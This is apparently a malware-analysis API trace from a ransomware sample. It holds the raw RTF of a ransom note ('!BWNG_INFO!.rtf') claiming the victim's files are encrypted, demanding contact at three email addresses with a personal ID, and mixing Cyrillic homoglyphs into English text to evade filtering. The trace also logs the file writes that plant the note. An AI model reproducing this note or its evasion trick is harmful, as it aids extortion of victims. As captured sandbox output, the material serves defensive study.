\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.966] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.967] CloseHandle (hObject=0x1cc) returned 1 [0033.967] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\!bwng_info!.rtf")) returned 0xffffffff [0033.967] GetLastError () returned 0x2 [0033.967] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 